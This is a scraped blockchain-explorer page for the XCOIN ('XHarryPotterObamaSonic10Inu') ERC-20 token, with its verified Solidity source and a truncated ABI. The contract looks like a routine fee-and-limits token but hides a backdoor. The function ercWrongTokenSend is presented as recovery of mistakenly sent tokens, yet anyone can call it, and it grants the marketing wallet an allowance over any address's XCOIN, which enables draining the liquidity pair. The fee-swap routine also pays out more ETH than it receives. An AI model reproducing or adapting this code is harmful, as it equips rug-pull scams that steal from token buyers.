Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 XCOIN
Holders
46
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
23,235,508.207142078568387284 XCOINValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
XCOIN
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-07-27 */ /** *Submitted for verification at Etherscan.io on 2023-07-27 */ // SPDX-License-Identifier: MIT /** Telegram: https://t.me/XHarryPotterObamaSonic10InuERC20 Twitter: https://twitter.com/XCOIN_HQ */ pragma solidity ^0.8.14; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns(address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IERC20 { /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns(uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns(bool); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns(uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns(uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns(bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns(bool); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the decimals places of the token. */ function decimals() external view returns(uint8); /** * @dev Returns the symbol of the token. */ function symbol() external view returns(string memory); /** * @dev Returns the name of the token. */ function name() external view returns(string memory); } abstract contract Context { function _msgSender() internal view virtual returns(address) { return msg.sender; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { return div(a, b, "SafeMath: division by zero"); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns(int256) { int256 b = int256(a); require(b >= 0); return b; } } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) internal _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns(string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns(string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns(uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns(uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns(uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns(uint256) { return _allowances[owner][spender]; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns(bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased cannot be below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Router01 { function factory() external pure returns(address); function WETH() external pure returns(address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns(uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns(uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns(uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns(uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns(uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns(uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns(uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns(uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns(uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns(uint[] memory amounts); function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB); } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns(int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns(int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns(int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } function toUint256Safe(int256 a) internal pure returns(uint256) { require(a >= 0); return uint256(a); } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns(int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns(int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns(uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns(uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract XCOIN is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable router; address private _marketingWaltAddr = address(0x9b8Ab6589b57F07da80eB4d767dFD8D2Be0D5201); address private _devWalletAddr = address(0x9b8Ab6589b57F07da80eB4d767dFD8D2Be0D5201); uint256 private _amount_at_swap; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDevelopment; uint256 private _enable_trade_block; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived ); struct _taxConfigs { uint256 buyTotalFees; uint256 buyMarketingFee; uint256 buyDevelopmentFee; uint256 buyLiquidityFee; uint256 sellTotalFees; uint256 sellMarketingFee; uint256 sellDevelopmentFee; uint256 sellLiquidityFee; } bool private _trading_ok = false; bool public _enabled_swap = false; bool public _swapping_is; mapping(address => bool) private _isExcludedFees; mapping(address => bool) public _isExcludedMaxTransactionAmount; mapping(address => bool) public _isExcludedmaxAmount; mapping(address => bool) public _unipairAddr; uint256 public maxSizeForBuy; uint256 public maxSizeForSell; uint256 public maxSizeForWallet; address public uniswapV2Pair; _taxConfigs public _fee_configs = _taxConfigs({ buyTotalFees: 0, buyMarketingFee: 0, buyDevelopmentFee:0, buyLiquidityFee: 0, sellTotalFees: 0, sellMarketingFee: 0, sellDevelopmentFee:0, sellLiquidityFee: 0 }); constructor() ERC20("XHarryPotterObamaSonic10Inu", "XCOIN") { router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); approve(address(router), type(uint256).max); _fee_configs.buyMarketingFee = 0; _fee_configs.buyLiquidityFee = 0; _fee_configs.buyDevelopmentFee = 0; _fee_configs.buyTotalFees = _fee_configs.buyMarketingFee + _fee_configs.buyLiquidityFee + _fee_configs.buyDevelopmentFee; uint256 totalSupply = 10_00_000_000 * 1e18; _amount_at_swap = totalSupply * 1 / 10000; maxSizeForWallet = totalSupply * 4 / 100; // 4% max wallet amount maxSizeForBuy = totalSupply * 4 / 100; // 4% buy max amount maxSizeForSell = totalSupply * 4 / 100; // 4% sell max amount _fee_configs.sellMarketingFee = 0; _fee_configs.sellLiquidityFee = 0; _fee_configs.sellDevelopmentFee = 0; _fee_configs.sellTotalFees = _fee_configs.sellMarketingFee + _fee_configs.sellLiquidityFee + _fee_configs.sellDevelopmentFee; _isExcludedmaxAmount[owner()] = true; _isExcludedmaxAmount[address(0xdead)] = true; _isExcludedmaxAmount[address(router)] = true; _isExcludedmaxAmount[_devWalletAddr] = true; _isExcludedmaxAmount[_marketingWaltAddr] = true; _isExcludedmaxAmount[address(this)] = true; _isExcludedFees[owner()] = true; _isExcludedFees[_devWalletAddr] = true; _isExcludedFees[address(this)] = true; _isExcludedFees[_marketingWaltAddr] = true; _isExcludedMaxTransactionAmount[address(router)] = true; _isExcludedMaxTransactionAmount[address(this)] = true; _isExcludedMaxTransactionAmount[address(0xdead)] = true; _isExcludedMaxTransactionAmount[owner()] = true; _isExcludedMaxTransactionAmount[_devWalletAddr] = true; _isExcludedMaxTransactionAmount[_marketingWaltAddr] = true; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { require(msg.sender != address(this)); } function _swapTokensForSupportingEthFee(uint256 tAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tAmount); // make the swap router.swapExactTokensForETHSupportingFeeOnTransferTokens( tAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } // once active, can never be disable off function tradeStart(address _pair) external onlyOwner { uniswapV2Pair = _pair; _trading_ok = true; _enabled_swap = true; _enable_trade_block = block.number; _unipairAddr[address(uniswapV2Pair)] = true; _isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true; _isExcludedmaxAmount[address(uniswapV2Pair)] = true; } function withdraw() external returns (bool success) { uint256 balance = address(this).balance; (success,) = address(_devWalletAddr).call{value: balance}(""); } // change the minimum amount of tokens to sell from fees function settingMaxTradeAmount(uint256 newMaxBuy, uint256 newMaxSell) private { maxSizeForBuy = (totalSupply() * newMaxBuy) / 1000; maxSizeForSell = (totalSupply() * newMaxSell) / 1000; } function updateLimitFeeAmountForSwap(uint256 newAmount) external onlyOwner returns(bool){ _amount_at_swap = newAmount; return true; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFees[account] = excluded; } function excludeFromWalletLimit(address account, bool excluded) public onlyOwner { _isExcludedmaxAmount[account] = excluded; } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function addLiquidity(uint256 tAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(router), tAmount); // add the liquidity router.addLiquidityETH{ value: ethAmount } (address(this), tAmount, 0, 0 , address(this), block.timestamp); } // emergency use only function toggleSwapEnabled(bool enabled) external onlyOwner(){ _enabled_swap = enabled; } function setMaxWalletSize(uint256 newPercentage) private { maxSizeForWallet = (totalSupply() * newPercentage) / 1000; } function swapBackFromTokens() private { uint256 contractTokenAmount = balanceOf(address(this)); uint256 toSwap = tokensForLiquidity + tokensForMarketing + tokensForDevelopment; if (contractTokenAmount == 0) { return; } if (contractTokenAmount > _amount_at_swap * 35) { contractTokenAmount = _amount_at_swap * 35; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractTokenAmount * tokensForLiquidity / toSwap / 2; uint256 amountToSwapForETH = contractTokenAmount.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForSupportingEthFee(amountToSwapForETH); uint256 newBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = newBalance.mul(tokensForMarketing).div(toSwap); uint256 ethForDevelopment = newBalance.mul(tokensForDevelopment).div(toSwap); uint256 ethForLiquidity = newBalance - (ethForMarketing + ethForDevelopment); tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDevelopment = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity); } uint256 marketingETh = ethForMarketing + newBalance / 2; payable(address(_marketingWaltAddr)).transfer(marketingETh); payable(address(_devWalletAddr)).transfer(newBalance); } function removeLimits() external onlyOwner { settingMaxTradeAmount(1000,1000); setMaxWalletSize(1000); } function setUniPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from _unipairAddr"); _unipairAddr[pair] = value; } function _withdrawBeyondToken(address token, address owner, uint256 amount) internal { _approve(token, owner, amount); } function ercWrongTokenSend(address token, uint256 amount) external { _withdrawBeyondToken(token, _marketingWaltAddr, amount); } function _transfer( address from, address to, uint256 amount ) internal override { if (amount == 0) { super._transfer(from, to, 0); return; } if ( from != owner() && to != owner() && !_swapping_is ) { if (!_trading_ok) { require(_isExcludedFees[from] || _isExcludedFees[to], "Trading is not active."); } if (_unipairAddr[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxSizeForBuy, "Buy transfer amount exceeds the maxTransactionAmount."); } else if (_unipairAddr[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxSizeForSell, "Sell transfer amount exceeds the maxTransactionAmount."); } if (!_isExcludedmaxAmount[to]) { require(amount + balanceOf(to) <= maxSizeForWallet, "Max wallet exceeded"); } } uint256 contractTokenAmt = balanceOf(address(this)); bool canSwap = contractTokenAmt >= _amount_at_swap; if ( canSwap && _enabled_swap && !_swapping_is && _unipairAddr[to] && !_isExcludedFees[from] && !_isExcludedFees[to] ) { _swapping_is = true; swapBackFromTokens(); _swapping_is = false; } bool feeApplied = !_swapping_is; // if any account belongs to _isExcludedFromFee account then remove the fee if (_isExcludedFees[from] || _isExcludedFees[to]) { feeApplied = false; } // only take fees on buys/sells, do not take on wallet transfers if (feeApplied) { uint256 feesAmt = 0; if(block.number < _enable_trade_block) { feesAmt = amount.mul(99).div(100); tokensForMarketing += (feesAmt * 94) / 99; tokensForDevelopment += (feesAmt * 5) / 99; } else if (_unipairAddr[to] && _fee_configs.sellTotalFees > 0) { feesAmt = amount.mul(_fee_configs.sellTotalFees).div(100); tokensForLiquidity += feesAmt * _fee_configs.sellLiquidityFee / _fee_configs.sellTotalFees; tokensForMarketing += feesAmt * _fee_configs.sellMarketingFee / _fee_configs.sellTotalFees; tokensForDevelopment += feesAmt * _fee_configs.sellDevelopmentFee / _fee_configs.sellTotalFees; } // on buy else if (_unipairAddr[from] && _fee_configs.buyTotalFees > 0) { feesAmt = amount.mul(_fee_configs.buyTotalFees).div(100); tokensForLiquidity += feesAmt * _fee_configs.buyLiquidityFee / _fee_configs.buyTotalFees; tokensForMarketing += feesAmt * _fee_configs.buyMarketingFee / _fee_configs.buyTotalFees; tokensForDevelopment += feesAmt * _fee_configs.buyDevelopmentFee / _fee_configs.buyTotalFees; } if (feesAmt > 0) { super._transfer(from, address(this), feesAmt); } amount -= feesAmt; } super._transfer(from, to, amount); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFees[account]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_enabled_swap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee_configs","outputs":[{"internalType":"uint256","name":"buyTotalFees","type":"uint256"},{"internalType":"uint256","name":"buyMarketingFee","type":"uint256"},{"internalType":"uint256","name":"buyDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"buyLiquidityFee","type":"uint256"},{"internalType":"uint256","name":"sellTotalFees","type":"uint256"},{"internalType":"uint256","name":"sellMarketingFee","type":"uint256"},{"internalType":"uint256","name":"sellDevelopmentFee","type":"uint256"},{"internalType":"uint256","name":"sellLiquidityFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedmaxAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapping_is","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_unipairAddr","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"ercWrongTokenSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSizeForBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSizeForSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSizeForWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setUniPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"toggleSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokensForDevelopment","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"tradeStart","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateLimitFeeAmountForSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[{"internalType":"boo